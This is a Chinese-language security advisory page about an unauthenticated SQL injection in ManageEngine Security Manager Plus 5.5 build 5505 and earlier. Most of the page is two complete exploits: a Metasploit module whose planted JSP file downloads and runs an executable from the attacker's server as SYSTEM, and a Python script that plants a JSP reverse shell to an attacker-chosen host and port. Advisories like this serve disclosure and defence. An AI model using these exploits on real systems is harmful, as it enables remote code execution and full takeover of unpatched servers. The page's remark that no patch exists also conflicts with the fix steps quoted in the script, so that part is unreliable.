安全研究
安全漏洞
ManageEngine Security Manager Plus高级搜索SQL注入漏洞
发布日期：2012-10-19
更新日期：2012-10-22
受影响系统：
ManageEngine Security Manager < 5.5 build 5505描述：
ManageEngine Security Manager
BUGTRAQ ID: 56138
ManageEngine Security Manager是一款网路安全扫瞄器、漏洞扫描器、补丁管理软件。
Security Manager Plus v5.5 build 5505及之前版本存在安全漏洞，远程攻击者可利用此漏洞控制应用、访问或修改数据、利用其他潜在漏洞。
<*来源：xistence
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Security Manager Plus <=5.5 build 5505 remote code execution",
'Description' => %q{
This module exploits a SQL injection found in ManageEngine Security Manager Plus
advanced search page. It will send a malicious SQL query to create a JSP file
under the web root directory, and then let it download and execute our malicious
executable under the context of SYSTEM. No authentication is necessary to exploit this.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence' # Discovery & Metasploit module
],
'References' =>
[
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => 'win',
'Targets' =>
[
# Win XP / 2003 / Vista / Win 7 / etc
['Windows Universal', {}]
],
'Privileged' => false,
'DisclosureDate' => "Oct 18 2012",
'DefaultTarget' => 0))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 6262]),
], self.class)
end
#
# A very gentle check to see if Security Manager Plus exists or not
#
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/SecurityManager.cc'
})
if res and res.body =~ /\<title\>Security Manager Plus\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
#
# Remove the JSP once we get a shell.
# We cannot delete the executable because it will still be in use.
#
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
# jsp = @outpath.gsub(/\//, "\\\\")
# jsp = jsp.gsub(/"/, "")
vprint_status("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}")
cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}")
print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
rescue ::Exception => e
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
end
end
#
# Transfer the malicious executable to our victim
#
def on_client_connect(cli)
print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
cli.put(@native_payload)
service.close_client(cli)
end
#
# Generate a download+exe JSP payload
#
def generate_jsp_payload
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
my_port = datastore['SRVPORT']
# tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
# This will download our malicious executable in base64 format, decode it back,
# save it as a temp file, and then finally execute it.
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
StringBuffer buf = new StringBuffer();
byte[] shellcode = null;
BufferedOutputStream outstream = null;
try {
Socket s = new Socket("#{my_host}", #{my_port});
BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
while (buf.length() < #{@native_payload.length}) {
buf.append( (char) r.read());
}
BASE64Decoder decoder = new BASE64Decoder();
shellcode = decoder.decodeBuffer(buf.toString());
File temp = File.createTempFile("#{@native_payload_name}", ".exe");
String path = temp.getAbsolutePath();
outstream = new BufferedOutputStream(new FileOutputStream(path));
outstream.write(shellcode);
outstream.close();
Process p = Runtime.getRuntime().exec(path);
} catch (Exception e) {}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp.unpack("H*")[0]
end
#
# Run the actual exploit
#
def inject_exec
# This little lag is meant to ensure the TCP server runs first before the requests
select(nil, nil, nil, 1)
# Inject our JSP payload
print_status("#{rhost}:#{rport} - Sending JSP payload")
pass = rand_text_alpha(rand(10)+5)
hex_jsp = generate_jsp_payload
res = send_request_cgi({
'method' => 'POST',
'uri' => '/STATE_ID/31337/jsp/xmlhttp/persistence.jsp?reqType=AdvanceSearch&SUBREQUEST=XMLHTTP',
'headers' => {
'Cookie' => 'STATE_COOKIE=%26SecurityManager%2FID%2F174%2FHomePageSubDAC_LIST%2F223%2FSecurityManager_CONTENTAREA_LIST%2F226%2FMainDAC_LIST%2F166%26MainTabs%2FID%2F167%2F_PV%2F174%2FselectedView%2FHome%26Home%2FID%2F166%2FPDCA%2FMainDAC%2F_PV%2F174%26HomePageSub%2FID%2F226%2FPDCA%2FSecurityManager_CONTENTAREA%2F_PV%2F166%26HomePageSubTab%2FID%2F225%2F_PV%2F226%2FselectedView%2FHomePageSecurity%26HomePageSecurity%2FID%2F223%2FPDCA%2FHomePageSubDAC%2F_PV%2F226%26_REQS%2F_RVID%2FSecurityManager%2F_TIME%2F31337; 2RequestsshowThreadedReq=showThreadedReqshow; 2RequestshideThreadedReq=hideThreadedReqhide;',
'Accept-Encoding' => 'identity'
},
'vars_post' => {
'ANDOR' => 'and',
'condition_1' => 'OpenPorts@PORT',
'operator_1' => 'IN',
'value_1' => "1)) union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,25,26,27,28,29 into outfile #{@outpath} FROM mysql.user WHERE 1=((1",
'COUNT' => '1'
}
})
print_status("#{rhost}:#{rport} - Sending pwnage /#{@jsp_name + '.jsp'}")
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{@jsp_name + '.jsp'}",
'headers' => {
'Cookie' => 'pwnage'
}
})
handler
end
#
# The server must start first, and then we send the malicious requests
#
def exploit
# Avoid passing this as an argument for performance reasons
# This is in base64 is make sure our file isn't mangled
@native_payload = [generate_payload_exe].pack("m*")
@native_payload_name = rand_text_alpha(rand(6)+3)
@jsp_name = rand_text_alpha(rand(6)+3)
@outpath = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\""
begin
t = framework.threads.spawn("reqs", false) { inject_exec }
print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
super
ensure
t.kill
end
end
end
#!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Security Manager Plus <= 5.5 build 5505 Remote SYSTEM/root SQLi (Win+Linux)
# Date : 18-10-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.exe (Win)
# Software link : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.zip (Linux)
# Vendor site : http://www.manageengine.com/
# Version : 5.5 build 5505 and lower
# Tested on : CentOS 5.x + Windows XP/2008
#
# Vulnerability : The SQL injection is possible on the "Advanced Search", the input is not validated correctly. To make it even worse,
# the search can be accessed without any authentication. Security Manager Plus also has to run as root or SYSTEM user,
# which makes a remote shell with root/SYSTEM privileges possible....
#
# Fix:
# 1. Go to SMP server system and stop SMP service.
# 2. Download the SMP_Vul_fix.zip file from : http://bonitas.zohocorp.com/4264259/scanfi/31May2012/SMP_Vul_fix.zip
# 3. Extract the downloaded file which contains four files : AdvPMServer.jar, AdvPMClient.jar, scanfi.jar and AdventNetPMUnixAgent.jar
# 3. Copy the extracted .jar files to <SMP-HOME>\lib directory (e.g., C:\AdventNet\SecurityManager\lib). [Overwrite the existing jar files and do not rename them]
# 4. Start the SMP service.
#+--------------------------------------------------------------------------------------------------------------------------------+
import urllib, urllib2, cookielib
import sys
import random
if (len(sys.argv) != 5):
print ""
print "[*] Security Manager Plus 5.5 build 5505 and lower Remote SYSTEM/root SQLi exploit (Windows+Linux) - xistence (xistence<[at]>0x90.nl) - 2012-05-29"
print ""
print "[*] Usage: secman-sql.py <RHOST> <LHOST> <LPORT> <OS>"
print "[*] I.e.: ./secman-sql.py www.linux.org 192.168.2.66 8888 linux"
print "[*] I.e.: ./secman-sql.py www.microsoft.com 192.168.2.66 8888 win"
print "[*]"
print "[*] RHOST = Remote Host which runs Security Manager Plus"
print "[*] LHOST = IP address of local machine (machine where you run the exploit from"
print "[*] LPORT = Port on the local machine where you will run NC on for our reverse shell"
print "[*] OS = linux/win"
print ""
print ""
exit(0)
rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
osys = sys.argv[4]
if osys == 'linux':
command = "/bin/bash"
elif osys == 'win':
command = "cmd.exe"
else:
print "Choose a valid OS, linux/win"
exit()
filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',6):
filename+=i
filename +=".jsp"
output_path = "../../webapps/SecurityManager/%s" %filename
jsp = ''' <%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try
{
Socket socket = new Socket( "''' + lhost +'''", '''+lport+''' );
Process process = Runtime.getRuntime().exec( "'''+command+'''" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>'''
jsp = jsp.replace("\n","")
jsp = jsp.replace("\t","")
payload = "1)) "
payload += 'UNION SELECT 0x%s,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,25,26,27,28,29 INTO OUTFILE "%s"' % (jsp.encode('hex'),output_path)
payload += " FROM mysql.user WHERE 1=((1"
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'STATE_COOKIE=%26SecurityManager%2FID%2F174%2FHomePageSubDAC_LIST%2F223%2FSecurityManager_CONTENTAREA_LIST%2F226%2FMainDAC_LIST%2F166%26MainTabs%2FID%2F167%2F_PV%2F174%2FselectedView%2FHome%26Home%2FID%2F166%2FPDCA%2FMainDAC%2F_PV%2F174%26HomePageSub%2FID%2F226%2FPDCA%2FSecurityManager_CONTENTAREA%2F_PV%2F166%26HomePageSubTab%2FID%2F225%2F_PV%2F226%2FselectedView%2FHomePageSecurity%26HomePageSecurity%2FID%2F223%2FPDCA%2FHomePageSubDAC%2F_PV%2F226%26_REQS%2F_RVID%2FSecurityManager%2F_TIME%2F31337; 2RequestsshowThreadedReq=showThreadedReqshow; 2RequestshideThreadedReq=hideThreadedReqhide;'))
post_params = urllib.urlencode({'ANDOR' : 'and', 'condition_1' : 'OpenPorts@PORT','operator_1' : 'IN', 'value_1' : payload, 'COUNT' : '1'})
print "[*] Sending evil payload"
resp = opener.open("http://%s:6262/STATE_ID/31337/jsp/xmlhttp/persistence.jsp?reqType=AdvanceSearch&SUBREQUEST=XMLHTTP" %rhost, post_params)
print "[*] Created Reverse JSP shell http://%s:6262/%s" % (rhost,filename)
resp = opener.open("http://%s:6262/%s" % (rhost,filename))
print "[*] Check your shell on %s %s\n" % (lhost,lport)
建议：
厂商补丁：
ManageEngine
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.manageengine.com/products/opmanager/index.html
浏览次数：3230
严重程度：0（网友投票）
绿盟科技给您安全的保障